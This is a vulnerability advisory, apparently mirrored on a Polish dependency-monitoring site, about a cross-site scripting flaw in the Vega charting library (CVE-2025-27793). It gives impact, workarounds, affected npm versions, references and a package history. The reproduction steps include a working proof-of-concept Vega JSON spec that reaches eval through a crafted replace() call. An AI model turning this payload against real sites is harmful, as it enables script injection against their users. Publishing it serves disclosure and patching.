Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
Workarounds
- Use
vegawith expression interpreter - Upgrade to a newer Vega version (
5.32.0)
POC Summary
Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | vega | < 5.32.0 | 5.32.0 |
| Paczka npm | vega-functions | < 5.17.0 | 5.17.0 |
Odnośniki
- https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf
- https://nvd.nist.gov/vuln/detail/CVE-2025-27793
- https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966
- https://github.com/vega/vega
- https://github.com/vega/vega/releases/tag/v5.32.0
- https://vega.github.io/vega/usage/interpreter
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Słabość (CWE)
CWE-79, CWE-87- Platforma
- npm
- Paczka
vega, vega-functions- Ujawniono
- 27.03.2025
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-963h-3v39-3pqf - CC BY 4.0
Historia podatności: vega-functions
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 5
- Pierwsza → ostatnia
- 03.2023 01.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 1
- Średnia 4
Ujawnienia w latach
- 2023: 2
- 2024: 0
- 2025: 2
- 2026: 1
-
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace] ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.